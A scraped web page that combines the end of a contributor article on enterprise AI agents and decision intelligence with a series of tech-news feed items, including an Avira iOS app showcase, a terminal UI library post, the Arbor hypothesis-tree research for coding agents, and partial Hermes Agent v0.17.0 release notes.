<p>However, it is common that such bottlenecks stay the same.</p>



<p>Approvals may still traverse many different systems. Decisions continue to be dependent on disparate data sources. Collaboration between departments remains manual. Information still needs substantial verification prior to taking any action based on a recommendation provided by artificial intelligence.</p>



<p>This problem is increasingly being understood in the industry context. It has been termed “<a href="https://www.mckinsey.com/capabilities/quantumblack/our-insights/seizing-the-agentic-ai-advantage" rel="nofollow">the Gen AI Paradox</a>” by McKinsey. In its analysis of agentic AI, McKinsey observes that despite the rapid proliferation of generative AI adoption among firms, many firms still have difficulty leveraging their adoption of this technology to make a tangible impact on business outcomes. The deployment of enterprise copilots and AI assistants has outpaced the need for changing operations for improved decision making, coordination, and execution.</p>



<p>In many cases, the primary problem did not come from the model used for AI. The challenge was to incorporate intelligence into the operations process.</p>



<p>This is where Enterprise Intelligence comes into play.</p>



<p>Enterprise Intelligence does not necessarily mean just implementing another form of artificial intelligence technology. It implies the organization’s ability to link AI, enterprise data, workflows, governance, and human decision-making into an effective operation model.</p>



<p>It has been found that successful organizations did not necessarily conduct the most pilots. They focused on optimizing workflows so that the intelligent capabilities reach the point of decision-making.</p>



<h2 class="wp-block-heading">AI agents are changing how enterprise decisions get executed</h2>



<p>The growing emergence of task-specific AI agents is speeding up this trend.</p>



<p>Unlike legacy automation platforms, AI agents are able to be contextually aware within and across business systems and workflows. AI agents are becoming more sophisticated at coordinating actions instead of completing specific, isolated tasks.</p>



<p>This trend becomes particularly apparent in operational systems where decision-making needs to cut across multiple teams and systems.</p>



<p>In ERP systems, for example, AI agents can:</p>



<ul class="wp-block-list">
<li>Detect procurement irregularities</li>



<li>Evaluate risks associated with suppliers</li>



<li>Suggest procurement options</li>



<li>Initiate approval processes</li>



<li>Coordinate activities between procurement, financial and operations teams</li>
</ul>



<p>Within CRM systems, companies are starting to use AI agents to:</p>



<ul class="wp-block-list">
<li>Prioritize customers based on purchase signals</li>



<li>Suggest next best actions in sales</li>



<li>Personalize customer interaction</li>



<li>Automate customer recovery workflows without escalation</li>
</ul>



<p>IT operations represent another domain where this trend is rapidly gaining momentum.</p>



<p>An IT operations team I worked with was able to significantly reduce alert fatigue by implementing an incident coordination process with support from AI assistance, where incidents were prioritized, correlated signals within the infrastructure were detected, and partial remediation tasks were automated. The engineers retained control over decision-making, yet response times got faster since teams did not waste time filtering operational noise.</p>



<p>These examples illustrate a broader point: AI agents are not simply automating tasks. They are reshaping how enterprise decisions are coordinated and executed.</p>



<h2 class="wp-block-heading">Why decision intelligence matters</h2>



<p>With increased AI agent deployment in workflow processes, yet another consideration comes up — ensuring the AI-generated recommendations result in enhanced organizational effectiveness.</p>



<p>This is where the concept of Decision Intelligence plays a crucial role.</p>



<p>For decades, enterprises have believed that more dashboards and analytics automatically equate to better decisions. The opposite has been true in my experience – decision-making gets slowed, fractured, and inconsistent amid an abundance of data.</p>



<p>Information is not enough to effect change.</p>



<p>Decision Intelligence is about optimizing the processes by which decisions get made, governed, monitored, and constantly iterated upon.</p>



<p>Among other considerations, these include:</p>



<ul class="wp-block-list">
<li>What decisions are most impactful for the business?</li>



<li>Where are the operational bottlenecks?</li>



<li>What processes require human decision-making?</li>



<li>Where does AI decision support play a role?</li>



<li>What actions are safe to automate?</li>



<li>What are new governance requirements?</li>
</ul>



<p>Such considerations become especially pertinent with increasing AI agent involvement.</p>



<p>If proper workflow re-design is not accompanied by governance, there is a risk of automating tasks without improving overall performance.</p>



<p>This is an issue that has been increasingly voiced by industry analysts. In this regard, <a href="https://www.gartner.com/en/newsroom/press-releases/2026-05-26-gartner-says-applying-uniform-governance-across-ai-agents-will-lead-to-enterprise-ai-agent-failure" rel="nofollow">Gartner</a> has indicated that many of the AI agent projects within the enterprises could fail to deliver the desired results without putting into place governance and controls. This is because AI agents will be increasingly responsible for the coordination of tasks in the system, and hence, it becomes necessary to put in place some guardrails as far as decisions are concerned.</p>



<p>I’ve worked with successful companies that managed to lower their service resolution times and increase operational agility only once they focused their AI-powered processes directly on key business metrics like cycle time reductions, escalations avoidance, margins improvement, or customer retention.</p>



<p>That shift — from experimentation to measurable operational impact — is where many enterprises are now focusing their attention.</p>



<h2 class="wp-block-heading">Fragmented AI creates fragmented outcomes</h2>



<p>One of the key operational challenges that I keep running into is fragmented intelligence within the enterprise.</p>



<p>Sales use one set of AI solutions. Customer Service uses another set of AI solutions. Supply Chain uses yet another set of forecasting models. Financial analysis works within an entirely different set of AI workflows.</p>



<p>While each solution might make some progress locally, integration at an enterprise level is often a challenge.</p>



<p>For example, while working with one organization focused primarily on retail, marketing optimization drove more promotional demand than inventory and staffing were able to meet. Each of those areas had its own intelligence, but there was no enterprise-level coordination of intelligence.</p>



<p>The consequence was friction within operations instead of acceleration.</p>



<p>In order for enterprise applications to be ready for the future, this fragmented approach to AI will not work. Enterprise apps have to become systems that integrate signals, workflows, decision-making and execution.</p>



<p>That is essentially the difference between AI being adopted and transformed by an enterprise.</p>



<h2 class="wp-block-heading">Leadership priorities for the AI-agent enterprise</h2>



<p>But as AI agents integrate into enterprise systems, the focus of corporate leaders also needs to shift.</p>



<p>No longer should leaders only think about what kind of AI technologies are going to be deployed.</p>



<p>Instead, they need to ask themselves:</p>



<ul class="wp-block-list">
<li>What outcomes need better performance?</li>



<li>What processes have too much friction?</li>



<li>What decisions are best left to humans?</li>



<li>Where does AI fit in for safe coordination?</li>



<li>Who will govern and oversee how things work?</li>



<li>How will success be tracked and measured?</li>
</ul>



<p>And generally speaking, organizations that are progressing well tend to have an operational approach to AI versus a testing one.</p>



<p>They do not focus on using cutting-edge AI but more on operational efficiency, coordination, governance, and value.</p>



<p>Such transformation is part of a bigger picture. Today’s companies realize that the way to gain any competitive edge does not lie in merely having AI systems, but rather in establishing an “<a href="https://newsroom.ibm.com/2026-05-05-think-2026-ibm-delivers-the-blueprint-for-the-ai-operating-model-as-the-ai-divide-widens" rel="nofollow">AI Operating Model</a>” as proposed by IBM, in which AI agents work together with company data, automation systems, governance, and human decision-making. As AI capabilities become more prevalent, the competitive factor will be found in the way companies design their operations around intelligent execution.</p>



<p>Practically, the best operating model I’ve observed combines human decision-making with AI coordination. In some processes, humans take the lead. In other processes, AI makes suggestions, but the manager makes the final decision. Finally, there could be certain repetitive operations that eventually run independently but with guardrails.</p>



<p>It’s all about intentionality.</p>



<h2 class="wp-block-heading">The future enterprise will operate differently</h2>



<p>Over time, all organizations will gain access to AI models, cloud computing, and enterprise software systems comparable to those used by others.</p>



<p>The difference lies in how well organizations embed intelligence within their workflows.</p>



<p>Organizations that thrive will be those that can develop systems that do all of the following:</p>



<ul class="wp-block-list">
<li>Sense changes early in their operations</li>



<li>Make decisions rapidly</li>



<li>Reduce workflow frictions</li>



<li>Learn continually based on results</li>



<li>Embed their investments in AI directly within their business processes</li>
</ul>



<p>AI agents are helping make this happen.</p>



<p>However, the bigger challenge goes beyond using even more AI.</p>



<p>The challenge involves changing the way enterprises sense, decide, execute, and learn operationally.</p>



<p>This is the evolution currently underway, which will transform enterprise application software and enterprise work in general.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>



<p></p>
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<title><![CDATA[Product showcase: Avira Security for iOS blends security, privacy, and device optimization]]></title>
<description><![CDATA[Avira Mobile Security for iOS combines security, privacy, and device optimization tools in a single application. The app is also available for Android, macOS, and Windows devices. After downloading the application from the App Store users are guided through a…
Read more →
The post Product showcas...]]></description>
<link>https://tsecurity.de/de/3614513/it-security-nachrichten/product-showcase-avira-security-for-ios-blends-security-privacy-and-device-optimization/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3614513/it-security-nachrichten/product-showcase-avira-security-for-ios-blends-security-privacy-and-device-optimization/</guid>
<pubDate>Mon, 22 Jun 2026 07:08:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Avira Mobile Security for iOS combines security, privacy, and device optimization tools in a single application. The app is also available for Android, macOS, and Windows devices. After downloading the application from the App Store users are guided through a…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/product-showcase-avira-security-for-ios-blends-security-privacy-and-device-optimization/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/product-showcase-avira-security-for-ios-blends-security-privacy-and-device-optimization/">Product showcase: Avira Security for iOS blends security, privacy, and device optimization</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Product showcase: Avira Security for iOS blends security, privacy, and device optimization]]></title>
<description><![CDATA[Avira Mobile Security for iOS combines security, privacy, and device optimization tools in a single application. The app is also available for Android, macOS, and Windows devices. After downloading the application from the App Store users are guided through a short onboarding process. The applica...]]></description>
<link>https://tsecurity.de/de/3614498/it-security-nachrichten/product-showcase-avira-security-for-ios-blends-security-privacy-and-device-optimization/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3614498/it-security-nachrichten/product-showcase-avira-security-for-ios-blends-security-privacy-and-device-optimization/</guid>
<pubDate>Mon, 22 Jun 2026 06:50:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Avira Mobile Security for iOS combines security, privacy, and device optimization tools in a single application. The app is also available for Android, macOS, and Windows devices. After downloading the application from the App Store users are guided through a short onboarding process. The application first presents information about data collection and privacy preferences, with options to accept the default settings or review them in more detail. It then requests permission to send notifications that … <a href="https://www.helpnetsecurity.com/2026/06/22/product-showcase-avira-mobile-security-ios/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/06/22/product-showcase-avira-mobile-security-ios/">Product showcase: Avira Security for iOS blends security, privacy, and device optimization</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[Cisco AI Introduces FAPO: Pipeline-Aware Prompt Optimization With Step-Level Failure Attribution and Claude Code Orchestration]]></title>
<description><![CDATA[Cisco Foundation AI has open-sourced FAPO (Fully Automated Prompt Optimization), a Claude Code-driven system that autonomously optimizes multi-step LLM pipelines from baseline prompts to target accuracy. FAPO evaluates a chain, attributes failures at the step level, proposes variants across promp...]]></description>
<link>https://tsecurity.de/de/3612885/ai-nachrichten/cisco-ai-introduces-fapo-pipeline-aware-prompt-optimization-with-step-level-failure-attribution-and-claude-code-orchestration/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3612885/ai-nachrichten/cisco-ai-introduces-fapo-pipeline-aware-prompt-optimization-with-step-level-failure-attribution-and-claude-code-orchestration/</guid>
<pubDate>Sun, 21 Jun 2026 01:17:58 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Cisco Foundation AI has open-sourced FAPO (Fully Automated Prompt Optimization), a Claude Code-driven system that autonomously optimizes multi-step LLM pipelines from baseline prompts to target accuracy. FAPO evaluates a chain, attributes failures at the step level, proposes variants across prompt, parameter, and chain-structure levels, and validates each through an independent reviewer. In Cisco's evaluation, it beat GEPA on 15 of 18 model-benchmark comparisons. Here's how the optimization loop works and how to run it.</p>
<p>The post <a href="https://www.marktechpost.com/2026/06/20/cisco-ai-introduces-fapo-pipeline-aware-prompt-optimization-with-step-level-failure-attribution-and-claude-code-orchestration/">Cisco AI Introduces FAPO: Pipeline-Aware Prompt Optimization With Step-Level Failure Attribution and Claude Code Orchestration</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
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<title><![CDATA[nanotui: a terminal UI library with no dependencies, not even ncurses]]></title>
<description><![CDATA[GitHub Repository: https://github.com/bof4/nanotui AI Disclosure About 50% of this project was built with the help of AI. It was used to generate parts of the boilerplate code, implement standard ANSI rendering structures, and help condense this technical write-up. The core architecture, diffing ...]]></description>
<link>https://tsecurity.de/de/3612769/linux-tipps/nanotui-a-terminal-ui-library-with-no-dependencies-not-even-ncurses/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3612769/linux-tipps/nanotui-a-terminal-ui-library-with-no-dependencies-not-even-ncurses/</guid>
<pubDate>Sat, 20 Jun 2026 23:08:12 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>GitHub Repository: <a href="https://github.com/bof4/nanotui">https://github.com/bof4/nanotui</a></p> <h1>AI Disclosure</h1> <p>About 50% of this project was built with the help of AI. It was used to generate parts of the boilerplate code, implement standard ANSI rendering structures, and help condense this technical write-up. The core architecture, diffing logic, and specific optimization tradeoffs were designed and integrated by hand.</p> <p>I wanted a CPU/RAM monitor that draws a progress bar without pulling in half of Homebrew. That turned into <strong>nanotui</strong> — a small C library that draws boxes, gauges, charts, and tables using raw ANSI/VT100 escapes. No ncurses, no terminfo, nothing but libc.</p> <h1>Why not ncurses</h1> <p>ncurses exists because terminals used to disagree about escape sequences, so it built a terminfo database to pick the right one. That problem is mostly gone — basically every terminal since the 90s agrees on cursor positioning and SGR color.</p> <ul> <li><strong>Trade-off:</strong> No capability detection for exotic terminals, so on something genuinely weird this won't degrade gracefully, it'll just render wrong. Haven't hit that in practice.</li> <li><strong>The Payoff:</strong> The other ncurses tax is just having a library dependency at all — version drift, may-or-may-not-be-installed. For "clone + make + done," that's friction I wanted gone.</li> </ul> <h1>Diffed double buffering</h1> <p>You draw into a back buffer each frame, then <code>tui_flush()</code> diffs it against what's on screen and only repaints changed cells.</p> <pre><code>tui_clear(t); tui_text(t, 0, 0, "cpu", TUI_GREEN, TUI_DEFAULT, 0); tui_gauge(t, 0, 1, 40, cpu_pct, TUI_GREEN, NULL); tui_flush(t); </code></pre> <p>Without diffing, a full 300x80 redraw emits tens of thousands of escape chars per frame even if just one gauge bar moved. With diffing it's a few dozen cells — the difference between comfortable 4-10Hz refresh over SSH and visible stutter. Screen buffers themselves are cheap (~375KB).</p> <h1>Eighth-block glyphs</h1> <p>A 40-column gauge made of whole blocks only has 40 distinct states — 2.5% increments — so it visibly staircases instead of filling smoothly. Unicode's eight horizontal eighth-blocks (<code>▏▎▍▌▋▊▉█</code>) give 8x resolution per cell, so 320 states instead of 40. Same trick for the bar chart.</p> <ul> <li><strong>Cost:</strong> Only works for single-width codepoints — wide CJK glyphs and combining chars aren't handled.</li> </ul> <h1>16 colors, not 256</h1> <p>Deliberate choice: 16-color SGR is more universally supported than 256-color mode once you count serial consoles and older multiplexers. Didn't want to undercut the "everyone supports this" premise for a feature the widgets don't need.</p> <h1>The "&lt;1MB" claim, precisely</h1> <ul> <li><strong>Dynamic build:</strong> Actual VmRSS is ~1.9MB — inflated because RSS counts shared <code>libc.so</code>/<code>ld.so</code> pages in full even though they're shared system-wide. PSS (your proportional share) is ~680KB. Private memory the program actually owns: <strong>under 150KB</strong>.</li> <li><strong>Static build:</strong> <code>make static</code> gives ~900KB RSS — bigger on disk, but that number now reflects real ownership with no shared-library ambiguity.</li> </ul> <p>Both numbers are "true," they just answer different questions.</p> <h1>Portability &amp; Scope</h1> <p>Library needs only <code>termios</code>, <code>ioctl</code>, and <code>signal</code> — Linux, macOS, BSDs. Not Windows-portable as-is. The bundled demo is Linux-only since it reads <code>/proc</code> directly.</p> <p>This is not a replacement for ncurses or notcurses/FTXUI if you need real capability detection or wide-glyph layout. It's for the narrower case: a small tool where the whole dependency graph is just <code>libc</code>.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Automatic-Act-6626"> /u/Automatic-Act-6626 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1ub7a8s/nanotui_a_terminal_ui_library_with_no/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1ub7a8s/nanotui_a_terminal_ui_library_with_no/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Chinese scientists ran an AI program on a virtual light-based computer system inside its real 'digital twin' PC — you can't get more meta than that (thanks Inception)]]></title>
<description><![CDATA[Chinese researchers created a digital twin optical computing framework allowing AI training, optimization, and validation before deployment on hardware.]]></description>
<link>https://tsecurity.de/de/3612715/it-nachrichten/chinese-scientists-ran-an-ai-program-on-a-virtual-light-based-computer-system-inside-its-real-digital-twin-pc-you-cant-get-more-meta-than-that-thanks-inception/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3612715/it-nachrichten/chinese-scientists-ran-an-ai-program-on-a-virtual-light-based-computer-system-inside-its-real-digital-twin-pc-you-cant-get-more-meta-than-that-thanks-inception/</guid>
<pubDate>Sat, 20 Jun 2026 22:18:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Chinese researchers created a digital twin optical computing framework allowing AI training, optimization, and validation before deployment on hardware.]]></content:encoded>
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<title><![CDATA["It helped": Years of Xbox Series S game optimization probably made life much easier for Nintendo Switch 2 developers]]></title>
<description><![CDATA[The Xbox Series S may have helped developers prepare for Nintendo Switch 2, with similar optimization techniques and visual compromises carrying across both platforms.]]></description>
<link>https://tsecurity.de/de/3612053/windows-tipps/it-helped-years-of-xbox-series-s-game-optimization-probably-made-life-much-easier-for-nintendo-switch-2-developers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3612053/windows-tipps/it-helped-years-of-xbox-series-s-game-optimization-probably-made-life-much-easier-for-nintendo-switch-2-developers/</guid>
<pubDate>Sat, 20 Jun 2026 12:38:01 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Xbox Series S may have helped developers prepare for Nintendo Switch 2, with similar optimization techniques and visual compromises carrying across both platforms.]]></content:encoded>
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<title><![CDATA[Researchers grow a hypothesis tree for AI coding agents]]></title>
<description><![CDATA[AI coding agents can tend to isolate research, running experiments and generating ideas that are then forgotten when context windows reset. This can waste tokens, as models then repeat the same mistakes and hit the same dead ends.



But new research argues that it’s not the model itself, but the...]]></description>
<link>https://tsecurity.de/de/3611377/ai-nachrichten/researchers-grow-a-hypothesis-tree-for-ai-coding-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3611377/ai-nachrichten/researchers-grow-a-hypothesis-tree-for-ai-coding-agents/</guid>
<pubDate>Sat, 20 Jun 2026 00:18:27 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p>AI coding agents can tend to isolate research, running experiments and generating ideas that are then forgotten when context windows reset. This can waste tokens, as models then repeat the same mistakes and hit the same dead ends.</p>



<p>But new research argues that it’s not the model itself, but the overarching ‘tree,’ that needs tweaking. To that end, data scientists from the Gaoling School of Artificial Intelligence, Renmin University of China, and Microsoft Research have introduced <a href="https://arxiv.org/pdf/2606.11926" target="_blank" rel="noreferrer noopener">Arbor</a>, a “persistent hypothesis tree” that helps agents remember and refine learnings over long research sessions.</p>



<p>A long-lived coordinator manages research strategy across the tree, while short-lived executors spin up isolated worktrees to test different hypotheses. As results come back, the tree updates, narrowing and refining throughout experimentation.</p>



<p>In practical tests, this technique delivered more than two-fold performance gains over standard <a href="https://www.cio.com/article/411198/how-to-launch-your-ai-projects-from-pilot-to-production-and-ensure-success.html" target="_blank">AI coding agents</a> across real-world engineering tasks, for the same budget.</p>



<p>This is because, said <a href="https://www.infotech.com/profiles/mahmoud-ramin" target="_blank" rel="noreferrer noopener">Mahmoud Ramin</a>, a research director at Info-Tech Research Group, “Arbor accumulates information over time and allows agents to build upon prior discoveries just as humans do, through learning, adaptation, and eventually building upon what they have learned in the past.”</p>



<h2 class="wp-block-heading">How Arbor grows</h2>



<p>Arbor’s builders argued that longer execution on its own does not guarantee research progress. The challenge is maintaining a state that turns many individual attempts into “cumulative hypothesis refinement.”</p>



<p>Further, progress should not depend on human overseers regularly stepping in to dictate logical next steps or interpret the meaning of previous trials, they noted. To be truly autonomous, agentic research frameworks must maintain connections between experiments, data, results, and failures over time.</p>



<p>Arbor is built to fulfill three system requirements. First, it must be able to branch as sub-trees test out competing hypotheses that are all potentially plausible. At the same time, unrestricted branching can degenerate the whole framework, so that must be controlled to remain organized. The researchers call this “branching with coherence.”</p>



<p>Second, the infrastructure must separate local execution from overarching strategy. Testing out single hypotheses requires short-horizon tasks like editing, debugging, and evaluation. But these should not “obscure” the larger tree making decisions based on evidence gathered across the whole run.</p>



<p>Finally, the systems must be able to distinguish exploratory improvement from verified improvement. This prevents AI from overfitting during trial-and-error instead of iteratively learning from underlying patterns.</p>



<p>Persistence is at the core; the tree links hypotheses and ideas, the <a href="https://www.infoworld.com/article/4187057/ai-coding-agents-may-be-getting-bad-instructions-from-smelly-config-files.html" target="_blank">code or configuration artifacts</a> used to test them, experimental evidence (results, metrics), and distilled insights (such as “this data filter helped, but this learning rate scheduler didn’t”).</p>



<p>Once a project kicks off, shorter-execution work trees run code, log their work, and collect metrics. The long-lived coordinator above them serves as the de-facto head of research, keeping an eye on the process, updating nodes, selecting “promising leaves,” pruning or merging branches, propagating reusable lessons, and deciding which hypotheses to pursue next.</p>



<p>“The tree therefore acts as the operational research state of the system,” Arbor’s builders wrote. “It is simultaneously the search frontier, the memory of past attempts, and the audit trail for verified artifact improvement.”</p>



<h2 class="wp-block-heading">Outperforming Codex and Claude on new data</h2>



<p>To test how well this process works, the researchers evaluated Arbor in an autonomous optimization (AO) setting: the agent was given an initial research artifact (a data pipeline, harness, or training script) and was tasked with improving its “held-out performance” through iterative experimentation, without human steering. Held-out performance is a machine learning (ML) metric that evaluates how well models are able to generalize on data they haven’t seen before.</p>



<p>The tree-based architecture was tested on several real research tasks across model training (its ability to improve training recipes and hyperparameters), harness engineering (how well it can upgrade evaluation or training harnesses), and data synthesis (its capacity to generate better data for training or evals).</p>



<p>Ultimately, Arbor outperformed the average held-out gains of Codex and Claude Code by 2.5x, for the same resource budget.</p>



<p>The takeaway, said the researchers: Keeping a structured, evolving hypothesis tree yields greater performance improvements than running the same models as ‘memoryless’ coding agents.</p>



<p>Arbor’s most innovative feature is its ability to maintain the agent’s memory and retain relevant data from prior attempts and hypotheses, Info-Tech’s Ramin pointed out, and, he said, “the next step for <a href="https://www.cio.com/article/4185912/why-agentic-architecture-is-still-so-puzzling.html" target="_blank">autonomous agents</a> may be accumulating evidence over time.”</p>



<p>However, this does raise concerns about the auditability of robust research environments at a large scale, he noted. “As autonomous agents become more capable of performing work without human operators overseeing them, enterprises will need transparency into how and/or why an agent took a specific action or reached a certain conclusion.”</p>
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<title><![CDATA[Hermes Agent v0.17.0 (v2026.6.19)]]></title>
<description><![CDATA[Hermes Agent v0.17.0 (v2026.6.19)
Release Date: June 19, 2026
Since v0.16.0: ~1,475 commits · ~800 merged PRs · 1,693 files changed · 235,390 insertions · 50,730 deletions · 300+ issues closed · 245 community contributors

The Reach Release. v0.16.0 put Hermes on your desktop. v0.17.0 is about ho...]]></description>
<link>https://tsecurity.de/de/3611226/downloads/hermes-agent-v0170-v2026619/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3611226/downloads/hermes-agent-v0170-v2026619/</guid>
<pubDate>Fri, 19 Jun 2026 21:46:52 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.17.0 (v2026.6.19)</h1>
<p><strong>Release Date:</strong> June 19, 2026<br>
<strong>Since v0.16.0:</strong> ~1,475 commits · ~800 merged PRs · 1,693 files changed · 235,390 insertions · 50,730 deletions · 300+ issues closed · 245 community contributors</p>
<blockquote>
<p><strong>The Reach Release.</strong> v0.16.0 put Hermes on your desktop. v0.17.0 is about how far that reach extends — across new places to talk to it, deeper into the tools you already use, and out to the people running Hermes for a team. Hermes reached two new channels (iMessage via Photon, and the Raft agent network), the desktop app gained substantial new capability, subagents can now run in the background, image generation learned to edit, and Cursor's Composer model is reachable through an xAI Grok subscription. The dashboard got a full profile builder and secure login, the Skills Hub browser was rehauled, the <code>memory</code> tool got a major upgrade, and the curator stopped spending aux-model budget on every routine run. 300+ issues closed ride along, plus a security round.</p>
</blockquote>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Hermes reaches iMessage — Photon Spectrum, no Mac relay required</strong> — There's now an iMessage platform plugin built on Photon's managed line pool. Run <code>hermes photon login</code>, authenticate with a device code, and Hermes can send and receive iMessage — no Mac sitting in a closet running a relay, no BlueBubbles bridge to babysit. It's positioned as the successor to BlueBubbles: free to start, nothing to self-host. If your friends and family live in the blue bubbles, Hermes lives there now too. (<a href="https://github.com/NousResearch/hermes-agent/pull/32348" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32348/hovercard">#32348</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42582/hovercard">#42582</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44713" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44713/hovercard">#44713</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
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<p><strong>Raft — Hermes joins the Raft agent network as a gateway channel</strong> — A new bundled Raft platform adapter lets Hermes connect to <a href="https://raft.build/" rel="nofollow">Raft</a> as an external agent through a wake-channel bridge. Set <code>RAFT_PROFILE</code>, run the bridge, and Raft can wake Hermes to handle messages — with a privacy-by-contract design where wake payloads carry only metadata (event IDs, timestamps), never message bodies. Another surface where Hermes can show up and do work. (<a href="https://github.com/NousResearch/hermes-agent/pull/48210" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48210/hovercard">#48210</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxchan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxchan">@xxchan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
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<p><strong>A substantially more capable desktop app</strong> — v0.16.0 shipped the desktop app; v0.17.0 deepened it across dozens of PRs. Rebindable keyboard shortcuts, native OS notifications with per-type toggles, live subagent <strong>watch-windows</strong> that stream a delegated agent's activity into its own pane, a composer model selector with per-model presets, automatic RTL/bidi text direction, a resizable VS Code-themed terminal pane, per-thread composer drafts, and the ability to install <strong>any VS Code Marketplace theme</strong> directly into the app. The desktop is now a serious daily driver, not a preview. (<a href="https://github.com/NousResearch/hermes-agent/pull/45866" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45866/hovercard">#45866</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40660/hovercard">#40660</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47060" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47060/hovercard">#47060</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46959" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46959/hovercard">#46959</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43292" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43292/hovercard">#43292</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44596" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44596/hovercard">#44596</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
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<li>
<p><strong>Background / async subagents — delegate work and keep going</strong> — <code>delegate_task(background=true)</code> now dispatches a subagent that runs in the background and returns a handle immediately. You and the model keep working while it churns, and the full result re-enters the conversation as a new turn the moment it finishes. Kick off a long research dive or a multi-step build, then carry on with something else instead of sitting blocked waiting on it. (<a href="https://github.com/NousResearch/hermes-agent/pull/40946" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40946/hovercard">#40946</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46968" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46968/hovercard">#46968</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
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<p><strong>Edit images, not just generate them — image-to-image in <code>image_generate</code></strong> — <code>image_generate</code> can now edit and transform a source image, not only create one from scratch. Pass an existing image and a prompt and it routes to the backend's edit endpoint (same tool, same pattern as <code>video_generate</code>), across every supported image provider. "Make this logo blue," "remove the background," "turn this sketch into a render" — all from the tool you already use. (<a href="https://github.com/NousResearch/hermes-agent/pull/48705" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48705/hovercard">#48705</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
